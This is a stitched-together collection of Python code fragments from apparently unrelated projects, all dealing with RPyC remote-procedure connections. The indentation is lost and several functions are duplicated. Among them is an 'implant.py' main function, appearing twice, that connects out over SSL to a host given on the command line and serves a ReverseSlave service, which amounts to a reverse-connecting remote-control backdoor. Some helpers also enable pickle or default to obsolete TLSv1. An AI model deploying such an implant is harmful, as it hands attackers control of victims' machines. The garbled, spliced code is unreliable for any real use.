def main():
import warnings
warnings.simplefilter("ignore", DeprecationWarning)
try:
port = int(sys.argv[1])
except:
port = DEFAULT_SERVER_PORT
conn = None
if port > 19000:
# Named server
try:
__import__("win32file")
np_server = NamedPipeStream.create_server(str(port))
conn = connect_stream(np_server, ModSlaveService)
try:
conn.serve_all()
except Exception:
pass
finally:
if (conn is not None) and not conn.closed:
conn.close()
exit()
except SystemExit:
raise
except:
conn = None
if conn is None:
t = SimpleServer(ModSlaveService, port=port, auto_register=False)
t.start()
def connectPL(self):
rem = CustomMachine(self.host)
conn = connect_stream(rpyc.SocketStream(rem.connect_sock(18861)),
config={'allow_pickle' : True})
assert conn.root.test() == 1, "%s: RPC Failure" % self.host
self.conn = conn
self.connected = True
def connect(self, host, port=8002):
"""
Setup connection to the node via a secure socket.
:param host: the node ip.
:param port: the port behind which c-simple server runs, default is 8002.
"""
# To avoid trying to connect without anything set up.
if not (os.path.isfile(self.client_cert) and os.path.isfile(self.client_key)):
self.gen_certificate(key_length=4096)
if not os.path.isfile(self.node_cert):
raise Exception('Server certificate is missing. Cannot initiate the connection')
try:
# Connecting the socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setblocking(1)
s.connect((host, port))
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
context.verify_mode = ssl.CERT_REQUIRED
context.load_verify_locations(self.node_cert)
context.load_cert_chain(self.client_cert, self.client_key)
secure_sock = context.wrap_socket(s, server_side=False, server_hostname=host)
self.conn = factory.connect_stream(SocketStream(secure_sock), service=VoidService)
except ssl.SSLError as e:
raise Exception('Could not connect to host {}:{}, getting following ssl error :\n{}'.format(host, port, e))
def connect_stream(stream):
"""
Creates an RPyC connection over the given stream
:param channel: the :class:`rpyc.core.stream.Stream` instance
:returns: an RPyC connection exposing ``SlaveService``
"""
return factory.connect_stream(stream, SlaveService)
def connect_stream(stream):
"""
Creates an RPyC connection over the given stream
:param channel: the :class:`rpyc.core.stream.Stream` instance
:returns: an RPyC connection exposing ``SlaveService``
"""
return factory.connect_stream(stream, SlaveService)
def connect(host,
port,
service=VoidService,
config={},
ipv6=False,
keepalive=False,
timeout=3):
s = SocketStream.connect(host,
port,
ipv6=ipv6,
keepalive=keepalive,
timeout=timeout)
return connect_stream(s, service, config)
def ssl_connect(host,port,keyfile=None,certfile=None,ca_certs=None,ssl_version=None,service=VoidService,config={},ipv6=False):
ssl_kwargs = {'server_side':False}
if keyfile:
ssl_kwargs['keyfile'] = keyfile
if certfile:
ssl_kwargs['certfile'] = certfile
if ca_certs:
ssl_kwargs['ca_certs'] = ca_certs
if ssl_version:
ssl_kwargs['ssl_version'] = ssl_version
else:
ssl_kwargs['ssl_version'] = ssl.PROTOCOL_TLSv1
s = SocketStream.ssl_connect(host,port,ssl_kwargs,ipv6 = ipv6)
return connect_stream(s,service,config)
def main():
if len(sys.argv) == 2:
host, port = sys.argv[1].split(":")
try:
s = SSLClient().connect(host, int(port))
conn = connect_stream(SocketStream(s), ReverseSlave, {})
while True:
conn.serve_all()
except KeyboardInterrupt:
pass
except Exception as e:
print e
else:
print "usage: python implant.py 127.0.0.1:8080"
def main():
if len(sys.argv) == 2:
host, port = sys.argv[1].split(":")
try:
s = SSLClient().connect(host, int(port))
conn = connect_stream(SocketStream(s), ReverseSlave, {})
while True:
conn.serve_all()
except KeyboardInterrupt:
pass
except Exception as e:
print e
else:
print "usage: python implant.py 127.0.0.1:8080"
def connect():
"""rpyc.utils.factory.connect() uses default 3s connection timeout
too short for some computers running big projects,
use connect_stream() instead and set timeout"""
stream = None
if sys.platform == 'win32':
stream = SocketStream.connect(rpyc_config.HOSTNAME,
rpyc_config.PORT,
timeout=15)
else:
stream = SocketStream.unix_connect(rpyc_config.SOCKET_PATH)
"""default sync_request_timeout is 30.0"""
global _conn
stream_config = dict(sync_request_timeout=3.0)
_conn = factory.connect_stream(stream, config=stream_config)
global bind
bind = _conn.root.lom_observer_helper.bind
return _conn.root.Live
def tlslite_connect(host,port,username,password,service=VoidService,config={},ipv6=False):
return connect_stream(SocketStream.tlslite_connect(host,port,username,password,ipv6=ipv6),service,config)
def connect(host,port,service=VoidService,config={},ipv6=False):
return connect_stream(SocketStream.connect(host,port,ipv6=ipv6),service,config)
def connect_stream(stream):
return factory.connect_stream(stream, SlaveService)
def connect_stream(stream):
return factory.connect_stream(stream, SlaveService)
